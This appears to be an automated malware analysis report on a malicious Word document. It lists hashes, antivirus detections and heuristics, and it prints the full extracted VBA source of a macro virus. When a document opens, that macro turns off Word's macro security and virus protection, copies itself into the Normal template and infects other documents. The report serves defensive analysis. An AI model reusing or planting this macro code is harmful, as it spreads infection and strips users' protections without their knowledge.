Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7af646eee9adfd24…

MALICIOUS

Office (OLE)

173.0 KB Created: 2004-07-20 10:00:00 Authoring application: Microsoft Office Word First seen: 2012-06-14
MD5: 5ab6ccc7df6762e9f1d7da4f134aa0cf SHA-1: 25d51dd7951c43e2b35b08757f7565bafbcd3e1b SHA-256: 7af646eee9adfd24970e9627c98332c9ee567d1d4c18c4e4348e09206dcad84a
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing a VBA macro with an AutoOpen subroutine. This macro attempts to disable security settings and copy itself to the Normal template, indicating an intent to establish persistence and facilitate further malicious activity. The presence of ClamAV detections like Win.Trojan.Psycho-3 and Win.Trojan.wmvg-1 further supports its malicious nature.

Heuristics 4

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2290 bytes
SHA-256: 6b975dcb909b795567a9f5552bcef4640e2cfaf5a8c08f68bed089e6fad00285
Detection
ClamAV: Win.Trojan.wmvg-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Attribute VB_Name = "SkyQuaintez"
Sub AutoOpen()
'By Jonathan_Press
'Thanks to LBL85 for letting mr love you
Status = System.PrivateProfileString("", "HKEY_CURRENT_USER", "Sky")
If Status < "0" Then GoTo JustFly
If Status >= "0" Then GoTo Flying

JustFly:
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
  CommandBars("Macro").Controls("Security...").Enabled = False
  System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
  CommandBars("Tools").Controls("Macro").Enabled = False
  Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Counts1 = NormalTemplate.VBProject.VBComponents.Count
For co1 = 1 To Counts1
If NormalTemplate.VBProject.VBComponents.Item(Counts1).Name = "SkyQuaintez" Then End
Next co1
    
    Application.OrganizerCopy Source:= _
        ActiveDocument.FullName, _
         Destination:=NormalTemplate.FullName, Name:="SkyQuaintez", Object:= _
        wdOrganizerObjectProjectItems

System.PrivateProfileString("", "HKEY_CURRENT_USER", "Sky") = "0"
End

Flying:
CountsCopier = NormalTemplate.VBProject.VBComponents.Count
For cou = 1 To CountsCopier
If NormalTemplate.VBProject.VBComponents.Item(CountsCopier).Name = "SkyQuaintez" Then SkyQuaintezLocation = CountsCopier
CountsCopier = CountsCopier - 1
Next cou

System.PrivateProfileString("", "HKEY_CURRENT_USER", "Sky") = System.PrivateProfileString("", "HKEY_CURRENT_USER", "Sky") + 1

Counts2 = ActiveDocument.VBProject.VBComponents.Count
For co2 = 1 To Counts2
If ActiveDocument.VBProject.VBComponents.Item(Counts2).Name = "SkyQuaintez" Then End
Next co2

NormalTemplate.VBProject.VBComponents.Item(SkyQuaintezLocation).Export "c:\SkyQuaintez.sky"
ActiveDocument.VBProject.VBComponents.Import "c:\SkyQuaintez.sky"
Kill "c:\SkyQuaintez.sky"

End
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.